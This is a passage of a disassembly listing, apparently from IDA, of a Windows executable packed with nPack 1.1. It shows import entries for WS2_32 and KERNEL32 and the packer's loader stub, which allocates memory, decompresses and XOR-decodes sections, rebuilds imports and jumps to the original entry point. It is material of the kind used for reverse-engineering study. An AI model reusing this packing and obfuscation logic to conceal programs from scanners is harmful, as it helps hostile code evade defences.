dword_495510	dd 71AB3E5Dh		; DATA XREF: sub_4062D3+57r
					; .text:004210C4r
dword_495514	dd 71AB1836h		; DATA XREF: sub_4062D3+6Er
					; sub_40636F+8Er ...
dword_495518	dd 71AB41DAh		; DATA XREF: .text:00405B97r
					; sub_4062D3+15r ...
dword_49551C	dd 71AB3F8Dh		; DATA XREF: .text:00405BDDr
					; .text:004210B2r
dword_495520	dd 71AB155Ah		; DATA XREF: .text:00405BEDr
					; .text:004210ACr
dword_495524	dd 71AB1746h		; DATA XREF: .text:00405C03r
					; sub_4062D3+41r ...
dword_495528	dd 71AB3ECEh		; DATA XREF: .text:00405C14r
					; .text:004210A0r
dword_49552C	dd 71AB5DE2h		; DATA XREF: .text:00405C28r
					; .text:0042109Ar
dword_495530	dd 71AB868Dh		; DATA XREF: .text:00405CD0r
					; .text:00421094r
dword_495534	dd 71AB5690h		; DATA XREF: .text:00405D40r
					; .text:0042108Er
dword_495538	dd 71AB1A6Dh		; DATA XREF: .text:00405D91r
					; sub_4062D3+68r ...
dword_49553C	dd 71AB3C22h		; DATA XREF: sub_402413+B7r
					; .text:00405BC4r ...
dword_495540	dd 71AB1AF4h		; DATA XREF: sub_40205B+12r
					; .text:00405C34r ...
dword_495544	dd 71AB1890h		; DATA XREF: sub_401E57+4Cr
					; .text:00405C65r ...
dword_495548	dd 71AB1B7Bh		; DATA XREF: sub_421070r
		dd 0Eh dup(0)
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 10h
		dd 6C530296h, 706565h, 6547011Ah, 73614C74h, 72724574h
		dd 726Fh, 7243004Ah, 65746165h,	65726854h, 6461h, 65470124h
		dd 646F4D74h, 46656C75h, 4E656C69h, 41656D61h, 7E0000h
		dd 74697845h, 65726854h, 6461h,	654C01C1h, 43657661h, 69746972h
		dd 536C6163h, 69746365h, 6E6Fh,	6E450066h, 43726574h, 69746972h
		dd 536C6163h, 69746365h, 6E6Fh,	6547016Dh, 63695474h, 756F436Bh
		dd 746Eh, 6E4901ABh, 61697469h,	657A696Ch, 74697243h, 6C616369h
		dd 74636553h, 416E6F69h, 7053646Eh, 6F436E69h, 746E75h
		dd 65440055h, 6574656Ch, 74697243h, 6C616369h, 74636553h
		dd 6E6F69h, 6547011Bh, 636F4C74h, 69546C61h, 656Dh, 7845007Dh
		dd 72507469h, 7365636Fh, 440073h, 61657243h, 72506574h
		dd 7365636Fh, 4173h, 6C43001Bh,	4865736Fh, 6C646E61h, 2DF0065h
		dd 74697257h, 6C694665h, 340065h, 61657243h, 69466574h
		dd 41656Ch, 65470159h, 73795374h, 446D6574h, 63657269h
		dd 79726F74h, 16E0041h,	54746547h, 46656D69h, 616D726Fh
		dd 4174h, 654700FBh, 74614474h,	726F4665h, 4174616Dh, 1120000h
		dd 46746547h, 53656C69h, 657A69h, 6547010Dh, 6C694674h
		dd 74744165h, 75626972h, 41736574h, 900000h, 646E6946h
		dd 736F6C43h, 8A0065h, 656C6946h, 656D6954h, 79536F54h
		dd 6D657473h, 656D6954h, 890000h, 656C6946h, 656D6954h
		dd 6F4C6F54h, 466C6163h, 54656C69h, 656D69h, 6946009Dh
		dd 654E646Eh, 69467478h, 41656Ch, 69460094h, 6946646Eh
		dd 46747372h, 41656C69h, 2180000h, 64616552h, 656C6946h
		dd 26A0000h, 46746553h,	50656C69h, 746E696Fh, 7265h, 65440057h
		dd 6574656Ch, 656C6946h, 1EF0041h, 6E65704Fh, 636F7250h
		dd 737365h, 654700F8h, 72754374h, 746E6572h, 636F7250h
		dd 49737365h, 280064h, 79706F43h, 656C6946h, 2680041h
		dd 46746553h, 41656C69h, 69727474h, 65747562h, 4173h, 65470126h
		dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 615702CEh, 6F467469h
		dd 6E695372h, 4F656C67h, 63656A62h, 3F0074h, 61657243h
		dd 754D6574h, 41786574h, 29F0000h, 6D726554h, 74616E69h
		dd 72685465h, 646165h, 65470165h, 6D655474h, 74615070h
		dd 4168h, 6F4D01DDh, 69466576h,	41656Ch, 6F4C01C2h, 694C6461h
		dd 72617262h, 4179h, 6547013Eh,	6F725074h, 64644163h, 73736572h
		dd 0AF0000h, 6D726F46h,	654D7461h, 67617373h, 4165h, 6C470193h
		dd 6C61626Fh, 6F6C6E55h, 6B63h,	6C47018Ch, 6C61626Fh, 6B636F4Ch
		dd 2B00000h, 616D6E55h,	65695670h, 46664F77h, 656C69h
		dd 614D01D6h, 65695670h, 46664F77h, 656C69h, 72430035h
		dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 26C0000h
		dd 46746553h, 54656C69h, 656D69h, 65470114h, 6C694674h
		dd 6D695465h, 800065h, 61707845h, 6E45646Eh, 6F726976h
		dd 6E656D6Eh, 72745374h, 73676E69h, 2D20041h, 65646957h
		dd 72616843h, 754D6F54h, 4269746Ch, 657479h, 754D01E4h
		dd 4269746Ch, 54657479h, 6469576Fh, 61684365h, 0CE0072h
		dd 43746547h, 75706D6Fh, 4E726574h, 41656D61h, 0F70000h
		dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 29E0073h
		dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 2FF0000h
		dd 7274736Ch, 69706D63h, 11C0041h, 4C746547h, 6C61636Fh
		dd 666E4965h, 416Fh, 65470175h,	72655674h, 6E6F6973h, 417845h
		dd 65470120h, 676F4C74h, 6C616369h, 76697244h, 7365h, 615702CCh
		dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h
		dd 430000h, 61657243h, 69506574h, 6570h, 75440063h, 63696C70h
		dd 48657461h, 6C646E61h, 0B80065h, 656E6547h, 65746172h
		dd 736E6F43h, 43656C6Fh, 456C7274h, 746E6576h, 2060000h
		dd 72657551h, 72655079h, 6D726F66h, 65636E61h, 6E756F43h
		dd 726574h, 75510207h, 50797265h, 6F667265h, 6E616D72h
		dd 72466563h, 65757165h, 79636Eh, 6C47018Dh, 6C61626Fh
		dd 6F6D654Dh, 74537972h, 73757461h, 1990000h, 70616548h
		dd 6F6C6C41h, 19F0063h,	70616548h, 65657246h, 22F0000h
		dd 556C7452h, 6E69776Eh, 1A20064h, 70616548h, 6C416552h
		dd 636F6Ch, 65470170h, 6D695474h, 6E6F5A65h, 666E4965h
		dd 616D726Fh, 6E6F6974h, 15D0000h, 53746547h, 65747379h
		dd 6D69546Dh, 1500065h,	53746547h, 74726174h, 6E497075h
		dd 416F66h, 654700CAh, 6D6F4374h, 646E616Dh, 656E694Ch
		dd 1740041h, 56746547h,	69737265h, 6E6Fh, 6152020Bh, 45657369h
		dd 70656378h, 6E6F6974h, 19D0000h, 70616548h, 74736544h
		dd 796F72h, 6548019Bh, 72437061h, 65746165h, 2BF0000h
		dd 74726956h, 466C6175h, 656572h, 695602BBh, 61757472h
		dd 6C6C416Ch, 636Fh, 734901B8h,	57646142h, 65746972h, 727450h
		dd 654801A3h, 69537061h, 657Ah,	654700BFh, 49504374h, 6F666Eh
		dd 654700B9h, 50434174h, 1310000h, 4F746547h, 50434D45h
		dd 1BF0000h, 614D434Ch,	72745370h, 41676E69h, 1C00000h
		dd 614D434Ch, 72745370h, 57676E69h, 2AD0000h, 61686E55h
		dd 656C646Eh, 63784564h, 69747065h, 69466E6Fh, 7265746Ch
		dd 0B20000h, 65657246h,	69766E45h, 6D6E6F72h, 53746E65h
		dd 6E697274h, 417367h, 724600B3h, 6E456565h, 6F726976h
		dd 6E656D6Eh, 72745374h, 73676E69h, 1060057h, 45746547h
		dd 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h, 1080073h
		dd 45746547h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h
		dd 5773h, 6553026Dh, 6E614874h,	43656C64h, 746E756Fh, 1520000h
		dd 53746547h, 61486474h, 656C646Eh, 1150000h, 46746547h
		dd 54656C69h, 657079h, 6553028Bh, 686E5574h, 6C646E61h
		dd 78456465h, 74706563h, 466E6F69h, 65746C69h, 1B50072h
		dd 61427349h, 61655264h, 72745064h, 1B20000h, 61427349h
		dd 646F4364h, 72745065h, 1530000h, 53746547h, 6E697274h
		dd 70795467h, 4165h, 65470156h,	72745374h, 54676E69h, 57657079h
		dd 27C0000h, 53746553h,	61486474h, 656C646Eh, 0AA0000h
		dd 73756C46h, 6C694668h, 66754265h, 73726566h, 2410000h
		dd 43746553h, 6F736E6Fh, 7443656Ch, 61486C72h, 656C646Eh
		dd 2610072h, 45746553h,	664F646Eh, 656C6946h, 210000h
		dd 706D6F43h, 53657261h, 6E697274h, 4167h, 6F430022h, 7261706Dh
		dd 72745365h, 57676E69h, 2620000h, 45746553h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 41656Ch, 4E52454Bh
		dd 32334C45h, 6C6C642Eh, 0
		dd 74h,	0AFh dup(0)
_idata		ends

; Section 5. (virtual address 00096000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00096000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_nPack		segment	para public 'DATA' use32
		assume cs:_nPack
		;org 496000h

; =============== S U B	R O U T	I N E =======================================



sub_496000	proc near		; CODE XREF: sub_49627A+61p
					; sub_49627A+84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	edx, [eax+8]
		test	edx, edx
		jnz	short loc_49600E
		mov	edx, [eax+10h]


loc_49600E:				; CODE XREF: sub_496000+9j
		mov	ecx, [esp+arg_8]
		mov	eax, [eax+0Ch]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, [ecx+esi*8+78h]
		pop	esi
		cmp	ecx, eax
		jb	short loc_49602D
		add	eax, edx
		cmp	ecx, eax
		jnb	short loc_49602D
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_49602D:				; CODE XREF: sub_496000+21j
					; sub_496000+27j
		xor	eax, eax
		retn
sub_496000	endp


; =============== S U B	R O U T	I N E =======================================



sub_496030	proc near		; CODE XREF: sub_49627A+12p
					; sub_496819+Ap ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		retn
sub_496030	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49603A	proc near		; CODE XREF: sub_49623C+25p
					; sub_49627A+C7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		rep movsb
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_49603A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49604E	proc near		; CODE XREF: sub_496819+59p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		rep stosb
		pop	edi
		pop	ebp
		retn
sub_49604E	endp


; =============== S U B	R O U T	I N E =======================================



sub_49605F	proc near		; CODE XREF: sub_49627A+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]


loc_496063:				; CODE XREF: sub_49605F+11j
		mov	eax, [esp+arg_0]
		mov	dl, [esp+arg_8]
		add	eax, ecx
		xor	[eax], dl
		dec	ecx
		jnz	short loc_496063
		retn
sub_49605F	endp

; ---------------------------------------------------------------------------
		db 0CCh
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_496080	proc near		; CODE XREF: sub_49623C+1Cp
					; sub_49627A+11Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_496A30
		add	esp, 8
		retn
sub_496080	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 3 dup(90909090h)
aKernel32_dll_0	db 'KERNEL32.DLL',0     ; DATA XREF: sub_49620A+2o
		align 10h
aVirtualalloc	db 'VirtualAlloc',0     ; DATA XREF: sub_49620A+15o
		align 10h
aVirtualfree	db 'VirtualFree',0      ; DATA XREF: sub_49620A+1Do
aNpackV1_1_300_	db 'nPack v1.1.300.2006: Loader Error',0 ; DATA XREF: sub_4969A0+62o
		align 10h
aCouldNotLoadDy	db 'Could not load dynamic link library %s.',0 ; DATA XREF: sub_4969A0+51o
aTheProcedureEn	db 'The procedure entry point %s could not be located in the dynamic '
					; DATA XREF: sub_4969A0+2Eo
		db 'link library %s.',0
		align 4
aTheOrdinalUCou	db 'The ordinal %u could not be located in the dynamic link library %'
					; DATA XREF: sub_4969A0+47o
		db 's.',0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near		; DATA XREF: start+19o
		cmp	ds:dword_496E4C, 0
		jnz	short locret_4961BE
		jmp	loc_4961BF
; ---------------------------------------------------------------------------

locret_4961BE:				; CODE XREF: start+7j
		retn
; ---------------------------------------------------------------------------


loc_4961BF:				; CODE XREF: start+9j
		call	sub_49620A
		call	sub_49623C
		mov	eax, offset start
		sub	eax, ds:dword_496E08
		mov	ds:dword_496E48, eax
		call	sub_49627A
		call	sub_496410
		call	sub_4968C5
		call	sub_496819
		mov	eax, ds:dword_496E48
		mov	ds:dword_496E4C, 1
		add	ds:off_496E00, eax
		push	ds:off_496E00
		retn
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_49620A	proc near		; CODE XREF: start:loc_4961BFp
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	ds:dword_496C00	; LoadLibraryA
		mov	esi, ds:dword_496C08
		mov	edi, eax
		push	offset aVirtualalloc ; "VirtualAlloc"
		push	edi
		call	esi	; GetProcAddress
		push	offset aVirtualfree ; "VirtualFree"
		push	edi
		mov	ds:dword_496E44, eax
		call	esi	; GetProcAddress
		pop	edi
		mov	ds:dword_496E40, eax
		pop	esi
		retn
sub_49620A	endp


; =============== S U B	R O U T	I N E =======================================



sub_49623C	proc near		; CODE XREF: start+14p
		push	esi
		push	edi
		push	4
		push	3000h
		push	24h
		push	0
		call	ds:dword_496E44	; VirtualAlloc
		mov	esi, eax
		mov	edi, offset off_496E00
		push	esi
		push	edi
		call	sub_496080
		push	24h
		push	esi
		push	edi
		call	sub_49603A
		add	esp, 14h
		push	4000h
		push	0
		push	esi
		call	ds:dword_496E40	; VirtualFree
		pop	edi
		pop	esi
		retn
sub_49623C	endp


; =============== S U B	R O U T	I N E =======================================



sub_49627A	proc near		; CODE XREF: start+29p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	ds:dword_496E48
		mov	[esp+1Ch+var_4], ebx
		call	sub_496030
		mov	ebp, eax
		pop	ecx
		mov	[esp+18h+var_8], ebx
		movzx	eax, word ptr [ebp+14h]
		lea	esi, [eax+ebp+18h]
		movzx	eax, word ptr [ebp+6]
		dec	eax
		test	eax, eax
		jle	loc_496409
		push	edi


loc_4962AE:				; CODE XREF: sub_49627A+188j
		cmp	[esi+10h], ebx
		mov	[esp+1Ch+var_C], ebx
		jz	loc_4963F2
		cmp	[esi+14h], ebx
		jz	loc_4963F2
		test	byte ptr [esi+27h], 10h
		jz	short loc_4962D7
		test	ds:byte_496E1C,	1
		jnz	loc_4963F2


loc_4962D7:				; CODE XREF: sub_49627A+4Ej
		push	ebp
		push	esi
		push	2
		call	sub_496000
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4962FB
		cmp	ds:dword_496E0C, ebx
		jz	loc_4963F2
		mov	[esp+1Ch+var_C], 1


loc_4962FB:				; CODE XREF: sub_49627A+6Bj
		push	ebp
		push	esi
		push	ebx
		call	sub_496000
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_4963F2
		mov	edi, 3000h
		push	4
		push	edi
		push	dword ptr [esi+10h]
		push	ebx
		call	ds:dword_496E44	; VirtualAlloc
		cmp	[esp+18h+var_8], 0
		mov	ebx, eax
		jz	short loc_496375
		mov	ecx, [esi+10h]
		mov	eax, ds:dword_496E0C
		sub	ecx, eax
		push	ecx
		mov	ecx, [esi+0Ch]
		add	ecx, eax
		add	ecx, ds:dword_496E48
		push	ecx
		push	ebx
		call	sub_49603A
		mov	eax, ds:dword_496E0C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_49638B
		push	4
		push	edi
		push	eax
		push	0
		call	ds:dword_496E44	; VirtualAlloc
		mov	ecx, [esi+0Ch]
		push	ds:dword_496E0C
		add	ecx, ds:dword_496E48
		mov	[esp+1Ch], eax
		push	ecx
		push	eax
		jmp	short loc_496383
; ---------------------------------------------------------------------------


loc_496375:				; CODE XREF: sub_49627A+ADj
		mov	eax, [esi+0Ch]
		push	dword ptr [esi+10h]
		add	eax, ds:dword_496E48
		push	eax
		push	ebx


loc_496383:				; CODE XREF: sub_49627A+F9j
		call	sub_49603A
		add	esp, 0Ch


loc_49638B:				; CODE XREF: sub_49627A+D6j
		mov	edi, [esi+0Ch]
		add	edi, ds:dword_496E48
		push	edi
		push	ebx
		call	sub_496080
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4963B3
		mov	cl, ds:byte_496E18
		push	ecx
		push	eax
		push	edi
		call	sub_49605F
		add	esp, 0Ch


loc_4963B3:				; CODE XREF: sub_49627A+126j
		push	4000h
		push	0
		push	ebx
		call	ds:dword_496E40	; VirtualFree
		cmp	[esp+1Ch+var_C], 0
		jz	short loc_4963EB
		cmp	ds:dword_496E0C, 0
		jz	short loc_4963EB
		push	edi
		push	[esp+20h+var_4]
		call	sub_4964F3
		pop	ecx
		pop	ecx
		push	4000h
		push	0
		push	ebx
		call	ds:dword_496E40	; VirtualFree


loc_4963EB:				; CODE XREF: sub_49627A+14Cj
					; sub_49627A+155j
		add	esi, 28h
		xor	ebx, ebx
		jmp	short loc_4963F5
; ---------------------------------------------------------------------------


loc_4963F2:				; CODE XREF: sub_49627A+3Bj
					; sub_49627A+44j ...
		add	esi, 28h


loc_4963F5:				; CODE XREF: sub_49627A+176j
		movzx	eax, word ptr [ebp+6]
		inc	[esp+1Ch+var_8]
		dec	eax
		cmp	[esp+1Ch+var_8], eax
		jl	loc_4962AE
		pop	edi


loc_496409:				; CODE XREF: sub_49627A+2Dj
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_49627A	endp


; =============== S U B	R O U T	I N E =======================================



sub_496410	proc near		; CODE XREF: start+2Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	eax, ds:dword_496E04
		sub	esp, 0Ch
		push	esi
		xor	esi, esi
		cmp	eax, esi
		push	edi
		jz	short loc_496461
		mov	ecx, ds:dword_496E48
		cmp	[ecx+eax+10h], esi
		lea	edi, [ecx+eax]
		jz	short loc_496461
		push	ebx
		push	ebp


loc_496431:				; CODE XREF: sub_496410+4Dj
		mov	ebx, [edi+0Ch]
		add	ebx, ds:dword_496E48
		push	ebx
		call	ds:dword_496C00	; LoadLibraryA
		cmp	eax, esi
		mov	[esp+1Ch+var_8], eax
		jnz	short loc_496467
		push	esi
		push	esi
		push	ebx
		push	esi
		call	sub_4969A0
		add	esp, 10h


loc_496455:				; CODE XREF: sub_496410+71j
		add	edi, 14h
		xor	esi, esi
		cmp	[edi+10h], esi
		jnz	short loc_496431
		pop	ebp
		pop	ebx


loc_496461:				; CODE XREF: sub_496410+Ej
					; sub_496410+1Dj
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_496467:				; CODE XREF: sub_496410+37j
		mov	ebp, [edi]
		cmp	ebp, esi
		jnz	short loc_496470
		mov	ebp, [edi+10h]


loc_496470:				; CODE XREF: sub_496410+5Bj
		mov	eax, ds:dword_496E48
		mov	esi, [edi+10h]
		add	ebp, eax
		add	esi, eax


loc_49647C:				; CODE XREF: sub_496410+E1j
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_496455
		test	eax, 80000000h
		jz	short loc_4964B3
		and	eax, 0FFFFh
		mov	[esp+1Ch+var_4], eax
		movzx	eax, ax
		push	eax
		push	[esp+20h+var_8]
		call	ds:dword_496C08	; GetProcAddress
		test	eax, eax
		mov	[esp+1Ch+var_C], eax
		jnz	short loc_4964E5
		push	[esp+1Ch+var_4]
		push	eax
		push	ebx
		push	1
		jmp	short loc_4964DD
; ---------------------------------------------------------------------------


loc_4964B3:				; CODE XREF: sub_496410+78j
		mov	ecx, ds:dword_496E48
		add	eax, ecx
		add	eax, 2
		push	eax
		mov	[esp+20h+var_4], eax
		push	[esp+20h+var_8]
		call	ds:dword_496C08	; GetProcAddress
		test	eax, eax
		mov	[esp+1Ch+var_C], eax
		jnz	short loc_4964E5
		push	eax
		push	[esp+20h+var_4]
		push	ebx
		push	2


loc_4964DD:				; CODE XREF: sub_496410+A1j
		call	sub_4969A0
		add	esp, 10h


loc_4964E5:				; CODE XREF: sub_496410+97j
					; sub_496410+C3j
		mov	eax, [esp+1Ch+var_C]
		add	ebp, 4
		mov	[esi], eax
		add	esi, 4
		jmp	short loc_49647C
sub_496410	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4964F3	proc near		; CODE XREF: sub_49627A+15Cp

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_14], 0
		mov	[ebp+var_20], 1


loc_496507:				; CODE XREF: sub_4964F3+258j
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+0Eh]
		mov	ecx, [ebp+arg_0]
		movzx	ecx, word ptr [ecx+0Ch]
		add	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, 10h
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		mov	[ebp+var_10], eax
		and	[ebp+var_1C], 0
		jmp	short loc_496541
; ---------------------------------------------------------------------------


loc_49653A:				; CODE XREF: sub_4964F3+31Cj
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax


loc_496541:				; CODE XREF: sub_4964F3+45j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_C]
		jge	loc_496814
		mov	eax, [ebp+var_18]
		mov	eax, [eax+4]
		shr	eax, 1Fh
		and	eax, 1
		test	eax, eax
		jz	loc_4967FD
		mov	eax, [ebp+var_18]
		mov	eax, [eax+4]
		and	eax, 7FFFFFFFh
		add	eax, [ebp+arg_0]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+4]
		and	eax, 7FFFFFFFh
		add	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_2C]
		movzx	eax, word ptr [eax+0Eh]
		mov	ecx, [ebp+var_2C]
		movzx	ecx, word ptr [ecx+0Ch]
		add	eax, ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_2C]
		add	eax, 10h
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_34]
		add	eax, 10h
		mov	[ebp+var_38], eax
		and	[ebp+var_30], 0
		jmp	short loc_4965B5
; ---------------------------------------------------------------------------


loc_4965AE:				; CODE XREF: sub_4964F3+305j
		mov	eax, [ebp+var_30]
		inc	eax
		mov	[ebp+var_30], eax


loc_4965B5:				; CODE XREF: sub_4964F3+B9j
		mov	eax, [ebp+var_30]
		cmp	eax, [ebp+var_28]
		jge	loc_4967FD
		mov	eax, [ebp+var_24]
		mov	eax, [eax+4]
		shr	eax, 1Fh
		and	eax, 1
		test	eax, eax
		jz	loc_4967E6
		mov	eax, [ebp+var_24]
		mov	eax, [eax+4]
		and	eax, 7FFFFFFFh
		add	eax, [ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_38]
		mov	eax, [eax+4]
		and	eax, 7FFFFFFFh
		add	eax, [ebp+arg_4]
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_50]
		movzx	eax, word ptr [eax+0Eh]
		mov	ecx, [ebp+var_50]
		movzx	ecx, word ptr [ecx+0Ch]
		add	eax, ecx
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_50]
		add	eax, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_40]
		add	eax, 10h
		mov	[ebp+var_44], eax
		and	[ebp+var_48], 0
		jmp	short loc_496629
; ---------------------------------------------------------------------------


loc_496622:				; CODE XREF: sub_4964F3+2EEj
		mov	eax, [ebp+var_48]
		inc	eax
		mov	[ebp+var_48], eax


loc_496629:				; CODE XREF: sub_4964F3+12Dj
		mov	eax, [ebp+var_48]
		cmp	eax, [ebp+var_3C]
		jge	loc_4967E6
		mov	eax, [ebp+var_4C]
		mov	eax, [eax+4]
		and	eax, 80000000h
		test	eax, eax
		jnz	loc_4967CF
		mov	eax, [ebp+var_4C]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+4]
		mov	[ebp+var_54], ecx
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+4]
		mov	[ebp+var_58], ecx
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		mov	[ebp+var_70], eax
		mov	eax, [ebp+var_70]
		mov	[ebp+var_74], eax
		sub	[ebp+var_74], 3
		cmp	[ebp+var_74], 0
		jz	short loc_4966A7
		sub	[ebp+var_74], 0Bh
		cmp	[ebp+var_74], 0
		jz	loc_496725
		sub	[ebp+var_74], 2
		cmp	[ebp+var_74], 0
		jz	loc_496793
		sub	[ebp+var_74], 8
		cmp	[ebp+var_74], 0
		jz	loc_496793
		jmp	loc_4967CF
; ---------------------------------------------------------------------------


loc_4966A7:				; CODE XREF: sub_4964F3+183j
		cmp	[ebp+var_20], 0
		jz	short loc_4966B2
		jmp	loc_4967CF
; ---------------------------------------------------------------------------


loc_4966B2:				; CODE XREF: sub_4964F3+1B8j
		and	[ebp+var_5C], 0
		jmp	short loc_4966BF
; ---------------------------------------------------------------------------


loc_4966B8:				; CODE XREF: sub_4964F3:loc_49671Ej
		mov	eax, [ebp+var_5C]
		inc	eax
		mov	[ebp+var_5C], eax


loc_4966BF:				; CODE XREF: sub_4964F3+1C3j
		mov	eax, [ebp+var_14]
		movzx	eax, word ptr [eax+4]
		cmp	[ebp+var_5C], eax
		jge	short loc_496720
		mov	eax, [ebp+var_24]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_5C]
		imul	ecx, 0Eh
		mov	edx, [ebp+var_14]
		movzx	ecx, word ptr [edx+ecx+12h]
		cmp	eax, ecx
		jnz	short loc_49671E
		mov	eax, [ebp+arg_4]
		sub	eax, ds:dword_496E48
		mov	ecx, [ebp+var_54]
		mov	ecx, [ecx]
		sub	ecx, eax
		mov	[ebp+var_60], ecx
		mov	eax, [ebp+var_54]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_60]
		add	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_58]
		mov	eax, [eax]
		add	eax, ds:dword_496E48
		push	eax
		call	sub_49603A
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_49671E:				; CODE XREF: sub_4964F3+1EEj
		jmp	short loc_4966B8
; ---------------------------------------------------------------------------


loc_496720:				; CODE XREF: sub_4964F3+1D6j
		jmp	loc_4967CF
; ---------------------------------------------------------------------------


loc_496725:				; CODE XREF: sub_4964F3+18Dj
		cmp	[ebp+var_20], 0
		jz	short loc_496750
		mov	eax, [ebp+arg_4]
		sub	eax, ds:dword_496E48
		mov	ecx, [ebp+var_54]
		mov	ecx, [ecx]
		sub	ecx, eax
		mov	[ebp+var_64], ecx
		mov	eax, [ebp+var_64]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		and	[ebp+var_20], 0
		jmp	loc_496507
; ---------------------------------------------------------------------------


loc_496750:				; CODE XREF: sub_4964F3+236j
		cmp	[ebp+var_4], 1
		jnb	short loc_496791
		mov	eax, [ebp+arg_4]
		sub	eax, ds:dword_496E48
		mov	ecx, [ebp+var_54]
		mov	ecx, [ecx]
		sub	ecx, eax
		mov	[ebp+var_68], ecx
		mov	eax, [ebp+var_54]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_68]
		add	eax, [ebp+arg_0]
		push	eax
